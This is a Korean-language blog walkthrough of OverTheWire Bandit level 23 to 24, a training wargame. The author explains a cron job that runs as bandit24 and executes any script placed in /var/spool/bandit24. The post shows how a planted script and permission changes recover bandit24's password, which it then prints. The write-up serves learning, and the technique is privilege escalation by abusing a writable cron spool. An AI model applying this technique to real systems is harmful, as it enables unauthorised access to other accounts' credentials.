WAR GAME/Bandit

[OverTheWire: Bandit] level23 -> level24

jir4vvit 2020. 3. 3. 22:12

[수정] 2020-05-20 풀이 오류 수정

 

사용 툴: cygwin

 

1) 문제

 

level23 -> level24 문제

프로그램은 시간 기반 작업 스케줄러인 cron으로부터 일정한 간격으로 자동으로 실행되고 있다. /etc/cron.d/에서 구성을 살펴보고 실행 중인 명령을 확인해라.

NOTE : 이 레벨은 당신이 자신의 첫 번째 셸 스크립트를 만들 것을 요구한다. 이것은 매우 큰 걸음이고 이 수준을 이길 때 너는 너 자신을 자랑스럽게 여겨야 해!

NOTE 2 : 일단 실행되면 셸 스크립트가 제거되므로 사본을 보관해라.

 

 

문제풀이에 앞서... 이 문제 힘들었다..

2) 문제풀이

bandit23@bandit:~$ ls -al
total 20
drwxr-xr-x  2 root root 4096 Apr 29  2019 .
drwxr-xr-x 41 root root 4096 Oct 16  2018 ..
-rw-r--r--  1 root root  220 May 15  2017 .bash_logout
-rw-r--r--  1 root root 3527 Apr 29  2019 .bashrc
-rw-r--r--  1 root root  675 May 15  2017 .profile
bandit23@bandit:~$ cd /etc/cron.d
bandit23@bandit:/etc/cron.d$ ls -al
total 28
drwxr-xr-x  2 root root 4096 Dec  4 01:58 .
drwxr-xr-x 88 root root 4096 Aug  3  2019 ..
-rw-r--r--  1 root root  189 Jan 25  2017 atop
-rw-r--r--  1 root root  120 Oct 16  2018 cronjob_bandit22
-rw-r--r--  1 root root  122 Oct 16  2018 cronjob_bandit23
-rw-r--r--  1 root root  120 Oct 16  2018 cronjob_bandit24
-rw-r--r--  1 root root  102 Oct  7  2017 .placeholder
bandit23@bandit:/etc/cron.d$ cat cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:/etc/cron.d$

문제가 계속 비스읏한 것 같다.

 

이번에도 역시 재부팅할때마다, 매순간 /usr/bin/cronjob_bandit24.sh 이 휴지통으로 버려진다.

 

bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        timeout -s 9 60 ./$i
        rm -f ./$i
    fi
done


bandit23@bandit:/etc/cron.d$

코드다...

다 필요없고 첫 번째 echo만 보면 된다.

 

/var/spool/bandit24에 있는 모든 스크립트가 실행되고 삭제된다. 는 뜻이다.

그래도 공부를 위해서 코드 해석을 해보자..

 

#!/bin/bash #bash 쉘을 사용한다 

myname=$(whoami) #bandit24

cd /var/spool/$myname #이동 
echo "Executing and deleting all scripts in /var/spool/$myname:" 
for i in * .*; #모든파일에 대하여 밑에 것 반복 
do 
    if [ "$i" != "." -a "$i" != ".." ];  #파일 이름이 "." 현재디렉토리가 아니고&& ".." 상위 디렉토리가 아니면 
    then 
        echo "Handling $i" 
        timeout -s 9 60 ./$i  #60초 이내에 실행해라 60초를 초과하면timout 그 프로세스를 죽이겠다.-s 9  
        rm -f ./$i  #프로그램 강제-f 제거 rm
    fi 
done 

대충 이런뜻이다!

60초마다 /var/spool/bandit24에 있는 스크립트가 삭제된다.

 

그래서 사본을 준비하라고 했구나..

bandit23@bandit:/etc/cron.d$ ls -al /var/spool
total 1348
drwxr-xr-x  5 root root        4096 Oct 16  2018 .
drwxr-xr-x 11 root root        4096 Oct 16  2018 ..
drwxrwx-wx 55 root bandit24 1359872 Mar  3 13:44 bandit24
drwxr-xr-x  3 root root        4096 Oct 16  2018 cron
lrwxrwxrwx  1 root root           7 Oct 16  2018 mail -> ../mail
drwx------  2 root root        4096 Jan 14  2018 rsyslog
bandit23@bandit:/etc/cron.d$

/var/spool/bandit24 디렉터리를 살펴보면 우리는 지금 읽을 수 있는 권한도 없다.

 

자 .... 지금 우리가 해야할 것들을 나열해보겠다.

 

  1. /tmp/mydir333 라는 새로운 디렉터리 만들기 mkdir
  2. /tmp/mydir333/ 에 새로운 쉘 스크립트 파일 만들기. 이름은 my24.sh로 할 것이다. vi
  3. my24.sh 파일에 bandit24의 패스워드를 알아내는 쉘 스크립트를 짜기 
    (여기서 cat으로 하게되면 bandit24의 계정에서 열리게 된다. 우리는 지금 bandit23의 계정이니까 보지 못한다. 그러니까 패스워드를 적어놓은 파일을 생성하도록 쉘을 짜야한다.)
  4. my24.sh를 /var/spool/bandit24 로 복사해주기 cp
  5. 최대 1분안에 my24.sh가 실행되고 삭제될 것 이다.
  6. /tmp/mydir333 으로 가서 bandit24 패스워드를 적어놓은 파일이 생성되었는지 확인하기
  7. 패스워드를 보고 bandit24 계정으로 로그인해보기

 

보기만해도 복잡해보이고 많아보인다.

하지만 차근차근 따라해보자!

 

bandit23@bandit:/var/spool/bandit24$ mkdir /tmp/mydir333
bandit23@bandit:/var/spool/bandit24$ vi /tmp/mydir333/my24.sh

i를 누르고 입력모드로 전환 뒤 쉘 스크립트를 작성해주고 ecs키 -> :wq! 를 입력해준다.

저 쉘 스크립트 내용은

bandit24의 패스워드를 /tmp/mydir333/rst.txt 라는 새로운 파일로 저장하겠다는 의미다.

 

bandit23@bandit:/var/spool/bandit24$ cp /tmp/mydir333/my24.sh .
bandit23@bandit:/var/spool/bandit24$ ls -al /tmp/mydir333
total 305928
drwxr-sr-x 2 bandit23 root      4096 Mar  3 13:58 .
drwxrws-wt 1 root     root 313204736 Mar  3 14:00 ..
-rw-r--r-- 1 bandit23 root        67 Mar  3 13:57 my24.sh
bandit23@bandit:/var/spool/bandit24$ 

my24.sh을 /var/spool/bandit24(현재 디렉터리)에 복사해주고 1분정도 기다렸다가

/tmp/mydir333의 목록을 확인해보았다.

 

아무 변화도 일어나지 않았다...

 

왜냐하면 my24.sh의 permission을 살펴보면 현재 나(bandit23)을 제외하고는 아무도 실행하지 못한다.

그래서 permission을 777로 부여해주겠다.

ndit23@bandit:/var/spool/bandit24$ chmod 777 /tmp/mydir333/my24.sh
bandit23@bandit:/var/spool/bandit24$ ls -al /tmp/mydir333
total 305928
drwxr-xr-x 2 bandit23 root      4096 Mar  3 13:58 .
drwxrws-wt 1 root     root 313204736 Mar  3 14:07 ..
-rwxrwxrwx 1 bandit23 root        67 Mar  3 13:57 my24.sh
bandit23@bandit:/var/spool/bandit24$

이로써 모든 것이 완벽해졌다.  아니다.ㅋ

->2020.05.20 수정

위의 mydir333 디렉터리를 확인해보면  bandit23 계정 외에는 모두 write 권한이 없다. 그래서 쓰지를 못한다. 

이게 무슨 의미인지 더 자세히 알아보자.

 

아까 위의 쉘 스크립트 파일인 my24.sh 안의 내용을 보면 bandit24의 권한으로 저 쉘 스크립트 들이 실행이 되게된다.  그러면 /tmp/mydir333/rst.txt 파일은 bandit24의 권한으로 쓰여지게 될 것이다.

 

하지만... 내가 방금 mydir333 디렉터리는 bandit23 계정 외에는 모두 write 권한이 없다고 했다. 그래서 rst.txt 파일은 절 대 쓰여지지 않는다.

 

이것을 해결하기 위해서 우리는 /tmp/mydir333 디렉터리의 other 에게 write 권한을 추가시켜줘야한다.

mydir99가 아니라 mydir333

chmod 명령어를 통해 추가시켜주었다. 

 

 

이제 다시 my24.sh을 복사하고 1분 기다렸다가 /tmp/mydir333의 목록을 확인해보겠다.

bandit23@bandit:/var/spool/bandit24$ cp /tmp/mydir333/my24.sh .
bandit23@bandit:/var/spool/bandit24$ ls -al /tmp/mydir333
total 305932
drwxr-xrwx 2 bandit23 root          4096 Mar  3 14:10 .
drwxrws-wt 1 root     root     313204736 Mar  3 14:10 ..
-rwxrwxrwx 1 bandit23 root            67 Mar  3 13:57 my24.sh
-rw-r--r-- 1 bandit24 bandit24        33 Mar  3 14:10 rst.txt
bandit23@bandit:/var/spool/bandit24$

오오 rst.txt가 생성되었다!!!

 

bandit23@bandit:/var/spool/bandit24$ cat /tmp/mydir333/rst.txt
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
bandit23@bandit:/var/spool/bandit24$

이렇게 패스워드를 얻을 수 있었다 ㅜㅜ

 

bandit23@bandit:/var/spool/bandit24$ ssh bandit24@localhost
bandit24@bandit:~$ id
uid=11024(bandit24) gid=11024(bandit24) groups=11024(bandit24)
bandit24@bandit:~$

끝!